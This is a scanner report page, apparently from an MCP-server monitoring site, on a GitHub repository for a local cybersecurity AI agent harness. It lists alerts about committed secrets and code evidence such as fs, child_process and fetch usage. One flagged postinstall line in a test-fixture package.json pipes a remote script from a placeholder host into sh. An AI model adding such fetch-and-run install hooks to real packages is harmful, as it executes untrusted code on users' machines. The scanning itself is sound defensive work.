MCP Observatory
2m ago Tracked 78,954 Last 2m ago 24h 6,979
Watchlist

kineticquant/achilles-harness

github
github Rust analyzed b499bf7

Achilles - A local, private cybersecurity AI Agent harness for app sec, code review, vuln detection, and more

maintainer
kineticquant
licence
Apache-2.0
first seen
2026-09-02
last seen
2026-09-10
releases · 30d
0
github stars
2 reported
short id

drift

inferred · capture-to-capture
  1. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  2. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  3. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  4. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  5. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  6. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  7. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  8. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  9. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  10. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  11. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness
  12. HIGH code analysis flagged committed secret ×2 in kineticquant/achilles-harness

capabilities

0 tools
transport http counts 0 tools · 0 res · 0 prompts permission surface via code analysis

No tools enumerated yet for this server.

skills & danger signals

github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit b499bf7 · analyzer v33 · 1d ago

skills & prompt files 22

danger signals3

code evidence

vv1.45.0-PL · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 1183

filesystem 35

  • fs services/ask-ai-bot/utils/ai/tools/codebase-search.ts :1 import fs from "fs";
  • fs services/ask-ai-bot/utils/ai/tools/codebase-viewer.ts :1 import fs from "fs";
  • fs services/ask-ai-bot/utils/ai/tools/docs-search.ts :1 import fs from "fs";
  • fs services/ask-ai-bot/utils/ai/tools/docs-viewer.ts :1 import fs from "fs";
  • fs (weak) ui/desktop/scripts/build-main.js :3 const fs = require('fs');
  • fs (weak) ui/desktop/scripts/clean-vite-cache.js :1 const fs = require('fs');
  • fs (weak) ui/desktop/scripts/generate-mac-update-manifest.js :4 const fs = require('node:fs');
  • fs (weak) ui/desktop/scripts/i18n-check.js :7 const fs = require('fs');
  • fs (weak) ui/desktop/scripts/i18n-compile.js :6 const fs = require('fs');
  • fs (weak) ui/desktop/scripts/i18n-validate-locale.js :6 const fs = require('fs');
  • fs (weak) ui/desktop/scripts/prepare-platform-binaries.js :1 const fs = require('fs');
  • fs (weak) ui/desktop/scripts/verify-mac-update-resources.js :3 const fs = require('node:fs');
show 23 more
  • fs ui/desktop/src/codeMap/inspectApiGraph.ts :1 import fs from 'node:fs';
  • fs ui/desktop/src/codeMap/inspectCallGraph.ts :2 import fs from 'node:fs';
  • fs ui/desktop/src/codeMap/inspectTemplateGraph.ts :2 import fs from 'node:fs';
  • fs (weak) ui/desktop/src/codeMap/railsRoutes.test.ts :3 import { readFileSync } from 'node:fs';
  • fs ui/desktop/src/codeMap/workspaceWalk.ts :1 import fs from 'node:fs';
  • fs (weak) ui/desktop/src/gooseServe.test.ts :1 import fs from 'node:fs';
  • fs ui/desktop/src/gooseServe.ts :2 import fs from 'node:fs';
  • fs ui/desktop/src/main.ts :22 import fs from 'node:fs/promises';
  • fs (weak) ui/desktop/src/startupDiagnostics.test.ts :1 import fs from 'node:fs';
  • fs ui/desktop/src/startupDiagnostics.ts :1 import fs from 'node:fs';
  • fs ui/desktop/src/utils/autoUpdater.ts :14 import * as fs from 'fs/promises';
  • fs ui/desktop/src/utils/desktopIcons.ts :1 import fsSync from 'node:fs';
  • fs ui/desktop/src/utils/githubUpdater.ts :3 import * as fs from 'fs/promises';
  • fs ui/desktop/src/utils/recentDirs.ts :1 import fs from 'fs';
  • fs ui/desktop/src/utils/recipeHash.ts :2 import fs from 'node:fs/promises';
  • fs ui/desktop/src/utils/winShims.ts :1 import fs from 'node:fs';
  • fs (weak) ui/desktop/tests/e2e/app.spec.ts :362 const fs = require('fs');
  • fs (weak) ui/desktop/tests/integration/test_providers.test.ts :10 import fs from 'node:fs';
  • fs (weak) ui/desktop/tests/integration/test_providers_code_exec.test.ts :10 import fs from 'node:fs';
  • fs (weak) ui/desktop/tests/integration/test_providers_lib.ts :10 import fs from 'node:fs';
  • fs ui/sdk/generate-schema.ts :11 import * as fs from "fs/promises";
  • fs (weak) ui/sdk/scripts/build-native.ts :18 import { mkdirSync, copyFileSync, chmodSync, existsSync } from "fs";
  • fs (weak) ui/sdk/scripts/check-binary-compat.mjs :15 import { mkdtempSync, rmSync, existsSync, statSync } from "node:fs";

shell / exec 13

  • shell (weak) ui/desktop/scripts/i18n-check.js :10 const { execFileSync } = require('child_process');
  • shell (weak) ui/desktop/scripts/i18n-compile.js :8 const { execFileSync } = require('child_process');
  • shell (weak) ui/desktop/scripts/prepare-platform-binaries.js :6 const { execFileSync } = require('child_process');
  • shell (weak) ui/desktop/scripts/unregister-deeplink-protocols.js :8 const { execSync } = require('child_process');
  • shell ui/desktop/src/codeMap/inspectCallGraph.ts :1 import { execFile } from 'node:child_process';
  • shell ui/desktop/src/gooseServe.ts :1 import { spawn, type ChildProcess } from 'child_process';
  • shell ui/desktop/src/loginShellPath.ts :1 import { spawn } from 'child_process';
  • shell ui/desktop/src/main.ts :27 import { execFileSync, spawn, execFile } from 'child_process';
  • shell (weak) ui/desktop/tests/e2e/fixtures.ts :2 import { exec, spawn, ChildProcess } from 'child_process';
  • shell (weak) ui/desktop/tests/integration/test_providers_lib.ts :9 import { execSync, spawn, type ChildProcess } from 'node:child_process';
  • shell ui/sdk/generate-schema.ts :10 import { execSync } from "child_process";
  • shell (weak) ui/sdk/scripts/build-native.ts :15 import { execSync } from "child_process";
show 1 more
  • shell (weak) ui/sdk/scripts/check-binary-compat.mjs :14 import { spawn } from "node:child_process";

network 14

  • net oidc-proxy/src/index.js :16 async fetch(request) {
  • net (weak) oidc-proxy/test/index.test.js :157 const response = await worker.fetch(request, testEnv(), ctx);
  • net services/ask-ai-bot/events/messageCreate.ts :61 .fetch(message.reference.messageId)
  • net services/ask-ai-bot/utils/ai/tools/index.ts :261 .describe("Maximum number of comments to fetch (default: 30)"),
  • net services/ask-ai-bot/utils/discord/server-context.ts :11 const channels = await guild.channels.fetch();
  • net (weak) ui/desktop/scripts/prepare-platform-binaries.js :3 const https = require('https');
  • net ui/desktop/src/backendStatus.ts :39 return await fetch(input, { ...init, signal: controller.signal });
  • net (weak) ui/desktop/src/codeMap/httpRoutes.test.ts :23 `async function submit() {\n await fetch('/api/messages', { method: 'POST' });\n}\n`,
  • net (weak) ui/desktop/src/codeMap/railsRoutes.test.ts :101 extractHttpHits(`fetch("/rooms/1")`, 'test/performance/chatter.js').length
  • net (weak) ui/desktop/src/gooseServe.test.ts :2 import http from 'node:http';
  • net ui/desktop/src/gooseServe.ts :3 import http from 'node:http';
  • net ui/desktop/src/main.ts :3497 const response = await fetch(process.env.GOOSE_ALLOWLIST);
show 2 more
  • net ui/desktop/src/utils/githubUpdater.ts :50 const response = await fetch(this.apiUrl, {
  • net ui/sdk/src/http-stream.ts :108 const response = await fetch(endpoint, {

secrets 4

  • secrets services/ask-ai-bot/index.ts :33 client.login(process.env.DISCORD_TOKEN).catch((err) => {
  • secrets services/ask-ai-bot/utils/ai/tools/github.ts :11 auth: process.env.GITHUB_TOKEN,
  • secrets (weak) ui/desktop/forge.config.ts :63 appleIdPassword: process.env.APPLE_ID_PASSWORD,
  • secrets ui/desktop/src/main.ts :1065 const secret = process.env.GOOSE_SERVER__SECRET_KEY;

install hooks 3

  • preinstall examples/achilles-fixtures/deps-hygiene/package.json :9 node ./hooks.js
  • postinstall (suspicious) examples/achilles-fixtures/deps-hygiene/package.json :10 curl https://example.invalid/setup.sh | sh
  • postinstall ui/desktop/package.json :12 pnpm run build-goose-sdk

declared dependencies 87

  • rmcp@3.0.0
  • wrangler@^4.0.0
  • vitest@^3.0.0
  • @cloudflare/vitest-pool-workers@^0.8.0
  • agent-client-protocol-schema@1.1
  • agent-client-protocol@1.0
  • agent-client-protocol-http@1.0
  • arboard@3
  • anyhow@1.0.102
  • async-stream@0.3.6
  • async-trait@0.1.89
  • axum@0.8
show 28 more
  • base64@0.23.0
  • bytes@1.10.1
  • candle-core@0.11
  • candle-nn@0.11
  • chrono@0.4.44
  • clap@4.1.14
  • dirs@6
  • dotenvy@0.15.7
  • env-lock@1
  • etcetera@0.11
  • fs2@0.4
  • futures@0.3.32
  • http@1.1
  • ignore@0.4.12
  • include_dir@0.7
  • indoc@2
  • keyring@3.6.3
  • lru@0.18
  • once_cell@1.21.3
  • rand@0.10.1
  • regex@1.12.3
  • reqwest@0.13.2
  • rustls@0.23.31
  • schemars@1.0.2
  • serde@1.0.228
  • serde_json@1.0.145
  • serde_yaml@0.9.32
  • shellexpand@3
· 47 more not shown — this panel samples each group; the count above is the real total.